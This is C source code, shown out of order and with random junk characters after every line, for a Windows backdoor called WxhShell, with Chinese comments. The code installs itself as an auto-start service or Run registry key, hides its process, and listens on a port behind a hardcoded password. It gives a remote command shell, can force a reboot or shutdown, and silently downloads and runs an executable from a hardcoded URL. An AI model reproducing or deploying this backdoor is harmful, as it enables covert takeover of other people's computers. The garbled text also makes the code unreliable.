    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <Gzy*1 Q&  
    if(Boot(SHUTDOWN)) m`UNdFS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z~o*$tF/  
    else { )AOD~T4s7  
    closesocket(wsh); 'j=7'aX>K  
    ExitThread(0); TDg#O!DUF  
    } }~dXz?{p8  
    break; ' >[KVvm  
    } ;J pdnV  
  // 获取shell UD [S>{  
  case 's': { mg)lr&-b  
    CmdShell(wsh); 1E!0N`E  
    closesocket(wsh); -}k'a{sj=  
    ExitThread(0); Ee>P*7*jB  
    break; 0j%@P[zQ  
  } ZjLzS]\a  
  // 退出 sqHv rI  
  case 'x': { e47JLW&b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); le`&VdE^  
    CloseIt(wsh); ((rk)Q+;v  
    break; /=4P< &J  
    } +v%V1lf^~  
  // 离开 z^9Yoqog  
  case 'q': { MJ[#Gq\0R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b3e:F{n ^  
    closesocket(wsh); K g&{ ?&  
    WSACleanup(); wzB*M}3  
    exit(1); UwY<3ul  
    break; 'X{cDdS^  
        } L'4ob4r{L  
  } F.?`<7  
  } (5?5? <  
Okca6=2"  
  // 提示信息 (A?{6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d -6[\S#  
} _GK^7}u  
  } Q17"hO>kC  
ZC3b9:tk  
  return; 4*OL^ \%  
} vOsd>3"  
cs`/^2Vf"#  
// shell模块句柄 xEaRuH c  
int CmdShell(SOCKET sock) i7 `dY {p7  
{ a_I!2w<I  
STARTUPINFO si; a8aEZ724  
ZeroMemory(&si,sizeof(si)); qVC_K/w 7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :7p0JGd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TCp!4-~,  
PROCESS_INFORMATION ProcessInfo; tA$,4B?  
char cmdline[]="cmd"; I.tJ4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BQ[1,\>  
  return 0; ` =dD6r  
} { yU1db^  
.Ozfj@ f  
// 自身启动模式 gs 8w/  
int StartFromService(void) rq9{m(  
{ nL@ "FZ`(  
typedef struct hC<X\yxe  
{ 'P}"ZHW  
  DWORD ExitStatus; FCQoz"M  
  DWORD PebBaseAddress; W^0F(9~!(  
  DWORD AffinityMask; m_~ p G  
  DWORD BasePriority; qAm$yfYs`  
  ULONG UniqueProcessId; k(o[T),_%0  
  ULONG InheritedFromUniqueProcessId; )gV+BHK  
}   PROCESS_BASIC_INFORMATION; y4) M,+O5  
/>q=qkdq0  
PROCNTQSIP NtQueryInformationProcess; :w(J=0Lt  
mp0p#8txi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;6t>!2I>C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PC/fb-J  
?AP2Opsl  
  HANDLE             hProcess; TW).j6@f  
  PROCESS_BASIC_INFORMATION pbi; g}IdU;X$NT  
8+ eZU<\B(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i9k7rEW^  
  if(NULL == hInst ) return 0; y#HD1SZ  
0m)["g4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KM 4w{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F }pS'Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ADA%$NhJ!  
c a_N76o!  
  if (!NtQueryInformationProcess) return 0; m{!BSl  
)V JAs|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?+GbPG~  
  if(!hProcess) return 0; z=!$3E ecr  
C!XI0d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rfYu8-  
c }ivYH?`w  
  CloseHandle(hProcess); 64s+ 0}  
B P"PUl:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^j';4'  
if(hProcess==NULL) return 0; l7aGo1TcIh  
66D<Up'K  
HMODULE hMod; wc)[r~On(5  
char procName[255]; *x`z5_yfO  
unsigned long cbNeeded; FFbMG:>:  
< .$<d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dJ?VN!B0  
R%aH{UhE`  
  CloseHandle(hProcess); b@^M|h.Va  
lZ0+:DaP2  
if(strstr(procName,"services")) return 1; // 以服务启动 52m^jT Sx  
?Li^XONz  
  return 0; // 注册表启动 a%tm[Re  
} `NXyzT`:K  
jp8=>mk  
// 主模块 m<8j' [+  
int StartWxhshell(LPSTR lpCmdLine) Jl Q%+$  
{ vKAHf;1  
  SOCKET wsl; Jkpw8E7  
BOOL val=TRUE; k(=\& T  
  int port=0; @ 5 kKMz  
  struct sockaddr_in door; Yp 6;Y7^  
qt/syF&s  
  if(wscfg.ws_autoins) Install(); pPo?5s  
'e3y|  
port=atoi(lpCmdLine); u>& \@?(  
H; TmG<S  
if(port<=0) port=wscfg.ws_port; 34YYw@?}Y  
Mn>dI@/gM  
  WSADATA data; Ou2H~3^PL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z"}k\B-5  
jm RYL("  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X]cB `?vR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }Bc'(2A;,  
  door.sin_family = AF_INET; ?#}=!$p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :m8ED[9b  
  door.sin_port = htons(port); kjaz{&P  
n#z^uq|v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |GK [I  
closesocket(wsl); ^ eM=h  
return 1; 1GOa'bxm  
} lx$Y-Tb^F  
\^Y#"zXo1  
  if(listen(wsl,2) == INVALID_SOCKET) { Ep5lm zg  
closesocket(wsl); vlyq2>TfR  
return 1; a47Btd'm  
} 8o-?Y.2  
  Wxhshell(wsl); ]~WP;o  
  WSACleanup(); ?[RG8,B  
vR,HCI  
return 0; hp-< 8Mf  
,z1# |Y  
} enG6T  
YL){o$-N"J  
// 以NT服务方式启动 G8u8&|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^l$(-#'y  
{ 3 %DA{  
DWORD   status = 0; [ R~+p#l+Q  
  DWORD   specificError = 0xfffffff; h4?+/jk7  
f@LUp^Z/v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EyBdL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 15yIPv+5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T d;e\s/]  
  serviceStatus.dwWin32ExitCode     = 0; r0\bi6;s/  
  serviceStatus.dwServiceSpecificExitCode = 0; Ub3,x~V  
  serviceStatus.dwCheckPoint       = 0; W**=X\"'  
  serviceStatus.dwWaitHint       = 0; .kC}. Q_  
Hkg@M?(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n:wn(BC3  
  if (hServiceStatusHandle==0) return; T"QY@#E  
J3:P/n&  
status = GetLastError(); tH_# q"@)  
  if (status!=NO_ERROR) IE_@:]K}Ja  
{ v/m`rc]e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v~jN,f*  
    serviceStatus.dwCheckPoint       = 0; IC}zgvcW  
    serviceStatus.dwWaitHint       = 0; LrPDpTd  
    serviceStatus.dwWin32ExitCode     = status; GC4$9q}C4Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; JYSw!!eC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Ly4Z*!2  
    return; :[ITjkhde0  
  } rA1 gH6D  
8OBvC\%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MO _9Yi  
  serviceStatus.dwCheckPoint       = 0; 8z/^Ql  
  serviceStatus.dwWaitHint       = 0; d\)v62P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]ei] ) JI  
} G x,D'H'  
c U{LyZp  
// 处理NT服务事件,比如:启动、停止 +Og O<P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 20fCWVw}?}  
{ fLD9RZ8_  
switch(fdwControl) 66|lQE&n  
{ M  j5C0P(  
case SERVICE_CONTROL_STOP: ZzKn,+  
  serviceStatus.dwWin32ExitCode = 0; BbU&e z8P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ADR`j;2  
  serviceStatus.dwCheckPoint   = 0; "Q/3]hc.  
  serviceStatus.dwWaitHint     = 0; =pk'a_P 8-  
  { CC)9Ks\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y.O? c &!  
  } A%GJ|h,i  
  return; IcQ?^9%{  
case SERVICE_CONTROL_PAUSE: Z(<ul<?r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; piId5Gx7  
  break; D>|:f-Z6Z  
case SERVICE_CONTROL_CONTINUE: AGv;8'`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ITsJjcYw  
  break; NGze: gPmO  
case SERVICE_CONTROL_INTERROGATE: yjSN;3t71  
  break; ?DRC! 9o^  
}; Ee|@l3)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >N,G@{FR  
} hV,3xrm?P  
*jJ62-o  
// 标准应用程序主函数 VLO>{"{'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :?p{ga9  
{ +]>a`~   
v4v+;[a%  
// 获取操作系统版本 \;?\@vo<  
OsIsNt=GetOsVer(); t{ 7l.>kf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b~Ruhi[E  
]Yj>~k:K  
  // 从命令行安装 m_Rgv.gE^  
  if(strpbrk(lpCmdLine,"iI")) Install(); R80R{Ze  
y&CUT:M6  
  // 下载执行文件 E$1^}RGT)  
if(wscfg.ws_downexe) { 9:Y:Vx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jqLyX  
  WinExec(wscfg.ws_filenam,SW_HIDE); RhJ<<T.2  
} H 0h  
pP r<8tm[  
if(!OsIsNt) { {10ms_s  
// 如果时win9x,隐藏进程并且设置为注册表启动 tS9m8(Hr%Q  
HideProc(); [qXpi'q[  
StartWxhshell(lpCmdLine); 7d<v\=J}  
} z=fag'fzM  
else 1]<!Xuk^f  
  if(StartFromService()) 9F-k:hD |  
  // 以服务方式启动 W+eN%w5  
  StartServiceCtrlDispatcher(DispatchTable); ;+jp,( 7  
else {jVFlKP>  
  // 普通方式启动 \8$`:3,@  
  StartWxhshell(lpCmdLine); C=]3NB>Jc  
=;`YtOL  
return 0; w %zw+E  
} 6,7omYof  
Ya_6Zd4O  
roA1= G\Q  
.( J /*H  
=========================================== 4tC_W!?$t  
g}D$`Nx:  
K@i*Nl  
0l##M06>  
7^iAc6QSy3  
*Q>:|F[vM  
" j*zK"n  
6+FON$8  
#include <stdio.h> b1#=q0Zl  
#include <string.h> t#q> U%!  
#include <windows.h> Ocb2XEF  
#include <winsock2.h> w* I+~o-  
#include <winsvc.h> c]]F`B  
#include <urlmon.h> s6D-?G*u%8  
H94.E|Q\+  
#pragma comment (lib, "Ws2_32.lib") s/^k;qw  
#pragma comment (lib, "urlmon.lib") kmoJ`W} N  
Z])_E 6.  
#define MAX_USER   100 // 最大客户端连接数 9,W-KM  
#define BUF_SOCK   200 // sock buffer % n{W  
#define KEY_BUFF   255 // 输入 buffer ${+.1"/[  
zfZDtKq  
#define REBOOT     0   // 重启 m=9 N^_  
#define SHUTDOWN   1   // 关机 VMWg:=~$  
}"-r;i  
#define DEF_PORT   5000 // 监听端口 |rvrSab)  
f+920/>!Z  
#define REG_LEN     16   // 注册表键长度 R\}YD*  
#define SVC_LEN     80   // NT服务名长度 _y9P]@Q7%  
1FJ[_ l  
// 从dll定义API |FFC8R%@]u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6ZR0_v;TD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *I67SBt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ig<p(G.;}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E8i:ER $$7  
NM@An2  
// wxhshell配置信息 ) b10%n^  
struct WSCFG { <C77_t  
  int ws_port;         // 监听端口 Q7r,5w& cm  
  char ws_passstr[REG_LEN]; // 口令 @>]3xHE6#=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~D5MAEazS  
  char ws_regname[REG_LEN]; // 注册表键名 `/zt&=`VB  
  char ws_svcname[REG_LEN]; // 服务名 :/NN =3e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /;4MexgB%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [Mz;:/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {H V,2-z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RuZ;hnE&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ='0!B]<G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vR$5ItnT  
Elp!,(+&6  
}; BcLt95;.\  
Y+GeT#VHe  
// default Wxhshell configuration "o 3"1s>d{  
struct WSCFG wscfg={DEF_PORT, .LhmYbQ2WE  
    "xuhuanlingzhe", CiI: uU  
    1, _w;+Jh  
    "Wxhshell", :Y>] 6  
    "Wxhshell", G 7]wg>*  
            "WxhShell Service", Bx- ,"Z \  
    "Wrsky Windows CmdShell Service", zfb _ )  
    "Please Input Your Password: ", r%pFq1/'!  
  1, 6t:c]G'J  
  "http://www.wrsky.com/wxhshell.exe", 'I]"=O,  
  "Wxhshell.exe" ]5f M?:<l  
    }; ts<dUO  
"6yiQ\`J  
// 消息定义模块 Td*Oljj._U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XL^N5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3 \r@f_p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <y!r~?  
char *msg_ws_ext="\n\rExit."; UwkX[u  
char *msg_ws_end="\n\rQuit."; ^4pKsO3ul  
char *msg_ws_boot="\n\rReboot..."; o2d~  
char *msg_ws_poff="\n\rShutdown..."; L_"(A #H:  
char *msg_ws_down="\n\rSave to "; T''+zk  
Ts .Z l{B  
char *msg_ws_err="\n\rErr!"; Ki/5xK=s  
char *msg_ws_ok="\n\rOK!"; Xp6*Y1Y  
c)MR+'d\WO  
char ExeFile[MAX_PATH]; ]Cn*C{  
int nUser = 0; r)(BT:2m  
HANDLE handles[MAX_USER]; X'7S|J6s  
int OsIsNt; jHH  
O/9%"m:i  
SERVICE_STATUS       serviceStatus; WV1 Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |HG b.^f?  
Us,[x Q  
// 函数声明  |7zP 8  
int Install(void); _F@p53WE  
int Uninstall(void); "jO3Y/>S  
int DownloadFile(char *sURL, SOCKET wsh); @O}j:b  
int Boot(int flag); :IVMTdYf  
void HideProc(void); o?K|[gNi  
int GetOsVer(void); 6bKO;^0  
int Wxhshell(SOCKET wsl); DhNo +"!z  
void TalkWithClient(void *cs); otf%kG w  
int CmdShell(SOCKET sock); ll\^9 4]Q  
int StartFromService(void); k(z<Bm  
int StartWxhshell(LPSTR lpCmdLine); xg,]M/J  
A}bHfn|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eD{ @0&   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8='21@wrN  
<nTmZ-;  
// 数据结构和表定义 #A9_A%_.h  
SERVICE_TABLE_ENTRY DispatchTable[] = <hZ}34?]i2  
{ h Yc{ 9$  
{wscfg.ws_svcname, NTServiceMain}, lzs(i 2pA  
{NULL, NULL} '$h @  
}; D4Y!,7WEVt  
CKt|c!3 7  
// 自我安装 ESxC{ "  
int Install(void) nP\V1pgA  
{ DJYXC,r  
  char svExeFile[MAX_PATH]; QeeC2  
  HKEY key; =j+oKGkoCa  
  strcpy(svExeFile,ExeFile); Ge:-|*F  
6~h1iY_~  
// 如果是win9x系统,修改注册表设为自启动 o1X/<.0+  
if(!OsIsNt) { GGc_9?h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Dl9<EZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?ey&Un"  
  RegCloseKey(key); MAe<.DHY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `x$}~rP&)!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'CX.qxF1;p  
  RegCloseKey(key);  n22hVw  
  return 0; +yb$[E*  
    } f'6qJk%J  
  } Uk *;C  
} iCnUnR{  
else { _d[2_b1  
LlA`QLe  
// 如果是NT以上系统,安装为系统服务 rw8J:?0x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 40Qzo%eL  
if (schSCManager!=0) mE^tzyh  
{ >!Ap/{2  
  SC_HANDLE schService = CreateService HM@}!6/s  
  ( qSoBj&6y  
  schSCManager, ?Tc)f_a  
  wscfg.ws_svcname, o%+A<Ri  
  wscfg.ws_svcdisp, ?$J7%I@  
  SERVICE_ALL_ACCESS, n `m_S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &@W4^- 9  
  SERVICE_AUTO_START, 2&gVZz  
  SERVICE_ERROR_NORMAL, !/4 V^H  
  svExeFile, rX!+@>4_L  
  NULL, g/ l0}%  
  NULL, &=z1$ih>2\  
  NULL, o7Cnyy#:  
  NULL, >2lAy:B5  
  NULL ~w1{zxs  
  ); fs rg2:kQ  
  if (schService!=0) +(<n |~  
  { <RoX|zJw  
  CloseServiceHandle(schService); 20/P M9  
  CloseServiceHandle(schSCManager); )7I.N]=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :!I)r$  
  strcat(svExeFile,wscfg.ws_svcname); JMirz~%ib  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pY)j0tdd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y '_V/w s  
  RegCloseKey(key); RD6h=n4B  
  return 0; g<2lPH  
    } r%y;8$/-  
  } mo|PrLV  
  CloseServiceHandle(schSCManager); #FqFH>-*2  
} 4>$ ;gH  
} ^p"4)6p-W  
KkdG.c'  
return 1; h/1nm U]  
} hsHVX[<5`  
D%jD 8p  
// 自我卸载 hi {2h04  
int Uninstall(void) foFg((tS  
{ \3Q:K |  
  HKEY key; +EST58  
ol?z<53X]  
if(!OsIsNt) { "[Qb'9/Jc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =j|v0& AGC  
  RegDeleteValue(key,wscfg.ws_regname); t,=@hs hN  
  RegCloseKey(key); x2j /8]'o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (o x4K{  
  RegDeleteValue(key,wscfg.ws_regname); 2vqmsl ?  
  RegCloseKey(key); %A)-m 69  
  return 0; mJ8{lXq3!  
  } {t844La"  
} bmj8WZ  
} I~p8#<4#b  
else { Y!Uu173  
P Pwxk;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (30<oE{  
if (schSCManager!=0) t$]&,ucW#  
{ i{ t TUA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qJ{r!NJJ 8  
  if (schService!=0) ;[TljcbS  
  { 943I:, B  
  if(DeleteService(schService)!=0) { L4YVH2`0)  
  CloseServiceHandle(schService); ="3a%\  
  CloseServiceHandle(schSCManager); (orrX Ez  
  return 0; |5 oKq'(b  
  } 5i!V}hE  
  CloseServiceHandle(schService); _`bS[%CJ  
  } QL)>/%yU  
  CloseServiceHandle(schSCManager); 0|+>A?E}E  
} u<l# xud  
} IF&g.R  
O`wYMng)  
return 1; Lnh':7FQJx  
} n0rerI[R  
S2J#b"Y  
// 从指定url下载文件 fKL'/?LD]  
int DownloadFile(char *sURL, SOCKET wsh) )"(V*Z  
{ g2g`,"T  
  HRESULT hr; ps"/}u l  
char seps[]= "/"; to99 _2  
char *token; {l0,T0  
char *file; /]ku$.mr\  
char myURL[MAX_PATH]; {PN:bb  
char myFILE[MAX_PATH]; \We"?1^  
98ca[.ui  
strcpy(myURL,sURL); 6#E]zmXO2  
  token=strtok(myURL,seps); 0s 860Kn  
  while(token!=NULL) 0zeUP {MQ  
  { !( kX~S  
    file=token; 2}^+ ]5  
  token=strtok(NULL,seps); 9 '2=  
  } r_4T tP&UW  
jA4PDHf+  
GetCurrentDirectory(MAX_PATH,myFILE); !2GHJHxv]c  
strcat(myFILE, "\\"); xK$}QZ)  
strcat(myFILE, file); /a@ kS  
  send(wsh,myFILE,strlen(myFILE),0); ' 2>l  
send(wsh,"...",3,0); 90Xt_$_}s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]UK`?J=t2g  
  if(hr==S_OK) 0-*Z<cu%l  
return 0; f"Ost;7zg  
else 6 0`+ 9(^  
return 1; fph-v-cl  
n`P`yb\f$  
} T1l&B  
W;^N8ap%  
// 系统电源模块  %)pP[[h  
int Boot(int flag) vGXWwQ.1Tp  
{ g93I+  
  HANDLE hToken; O[; +i  
  TOKEN_PRIVILEGES tkp; QZ?d2PC=>?  
S*4f%!  
  if(OsIsNt) { <e'P%tG'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fk+1#7{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s>T`l  
    tkp.PrivilegeCount = 1; fCLcU@3W?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {5SfE$r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ft{W/ * +_  
if(flag==REBOOT) { a]`itjL^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /Z:N8e  
  return 0; mRCHrw?WG  
} llNXQlP\B  
else { 1XG$ z@NN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /v5qyR7an  
  return 0; rxQ<4  
} ICk(z~D~  
  } !~kEtC  
  else { ?RDO] I>  
if(flag==REBOOT) { Ru:n~77{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KL "Y!PN:  
  return 0; HC J;&C73&  
} p:B ]Ft  
else { ~u! gUJ:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j5zFDh1(  
  return 0; o"RJ.w:dn  
} T$u~E1  
} 7k `_#  
[ dGO,ndE  
return 1; "r@G@pe  
} U M@naU  
d^tVD`Fm  
// win9x进程隐藏模块 *MI)]S  
void HideProc(void) vEF=e  
{ P Q,+hq  
2sUbiDe-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QeL{Wa-2F  
  if ( hKernel != NULL ) 58J_ w X  
  { KCD5*xH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D%A@lMru  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P 4QkY#v  
    FreeLibrary(hKernel); i(0hvV>'  
  } >=Jsv  
'|&,E#`  
return; f4 Q( 1(C  
} [g+y_@9s  
PT+c&5AS  
// 获取操作系统版本 _e_4Q)z-a  
int GetOsVer(void) x:qr\Rz  
{ H-Pq!9[DB  
  OSVERSIONINFO winfo; 6%%PP8.F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2 % %|fU9  
  GetVersionEx(&winfo); l]$40 j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u%xDsT DP  
  return 1; U%q:^S%#eG  
  else WV2~(/hX&  
  return 0; v{.\iIg N  
} O] H=s  
_#FIay\ahB  
// 客户端句柄模块 c#  xO<  
int Wxhshell(SOCKET wsl) {|XQO'Wg  
{ AVv#\JrRW  
  SOCKET wsh; -1CEr_(P^  
  struct sockaddr_in client; ]% Y\ZIS  
  DWORD myID; WO@H*  
8[~~gYl  
  while(nUser<MAX_USER) [^M|lf   
{ x<@kjfm5  
  int nSize=sizeof(client); HVGr-/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v J-LPTB  
  if(wsh==INVALID_SOCKET) return 1; 0V3gKd7  
7 WP%J-   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xorTL8  
if(handles[nUser]==0) T/5"}P`  
  closesocket(wsh); gD6tHg>_  
else H<Hrwy~  
  nUser++; ESIzGaM  
  } UWw}!1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lbS?/f  
yb?{LL-uy  
  return 0; ]\BUoQ7I/  
} a.DX%C /5  
[sj VRW-  
// 关闭 socket G'9{a'  
void CloseIt(SOCKET wsh) /l6\^Xf{  
{ H|`R4hAk  
closesocket(wsh); &bLC(e ]  
nUser--; ?q!FG(  
ExitThread(0); ~.6|dw\p!  
} 7]s%r ya  
FsY(02  
// 客户端请求句柄 qg4fR' i  
void TalkWithClient(void *cs) 72,"Cj  
{ +T2HE\  
4V$fGjJ3  
  SOCKET wsh=(SOCKET)cs; sAYV)w3u"  
  char pwd[SVC_LEN]; g4wZvra6%)  
  char cmd[KEY_BUFF]; VgMP^&/gZ  
char chr[1]; m?;$;x~Dj  
int i,j; %2D17*eK  
Mlj#b8  
  while (nUser < MAX_USER) { ?/'}JS(Sm  
.*!#98pT  
if(wscfg.ws_passstr) { 9afh[3qm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Me/\z^pF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ax_YKJ5#P  
  //ZeroMemory(pwd,KEY_BUFF); \QT9HAdd@  
      i=0; 8;#AO8+U7)  
  while(i<SVC_LEN) { [@3SfQ  
"OL~ul5  
  // 设置超时 *d>vR1  
  fd_set FdRead; eh<rRx"[  
  struct timeval TimeOut; aD ESr?  
  FD_ZERO(&FdRead); .oR3Q/|k]  
  FD_SET(wsh,&FdRead); V7C1FV2  
  TimeOut.tv_sec=8; :6lwO%=F  
  TimeOut.tv_usec=0; yU7I;]YP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sx5r(0Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SY1GR n  
5+K;_)   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :<GfETIs  
  pwd=chr[0]; >vujZw_0>  
  if(chr[0]==0xd || chr[0]==0xa) { jK3\K/ob(  
  pwd=0; /\J|Uj  
  break; *vnXlV4L  
  } xmr|'}Pt[  
  i++; p)3nyN=|_  
    } #mLuU  
?2ItB`<(  
  // 如果是非法用户,关闭 socket ntGq" o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); })[($$f/  
} ]1sNmi$T  
 AmcC:5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q\9K2=4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c!Dc8=nE0m  
xU}M;4kH~  
while(1) { >SDp uG&>  
f^9&WT  
  ZeroMemory(cmd,KEY_BUFF); PZ,z15PG]  
>uy%-aXiVa  
      // 自动支持客户端 telnet标准   P`TIaP9%E  
  j=0; 8!zb F<W9  
  while(j<KEY_BUFF) { mp\%M 1<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c+2%rh1  
  cmd[j]=chr[0]; %idk@~HCg  
  if(chr[0]==0xa || chr[0]==0xd) { 0@pu@DP~  
  cmd[j]=0; i:Y\`J  
  break; /\E [  
  } t1ze-Ht;  
  j++; T?npQA07=  
    } jG D%r~lN  
(}gcY  
  // 下载文件 _%ZP{5D>  
  if(strstr(cmd,"http://")) { <I2z&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <>=mCZ2  
  if(DownloadFile(cmd,wsh)) ]V<-J   
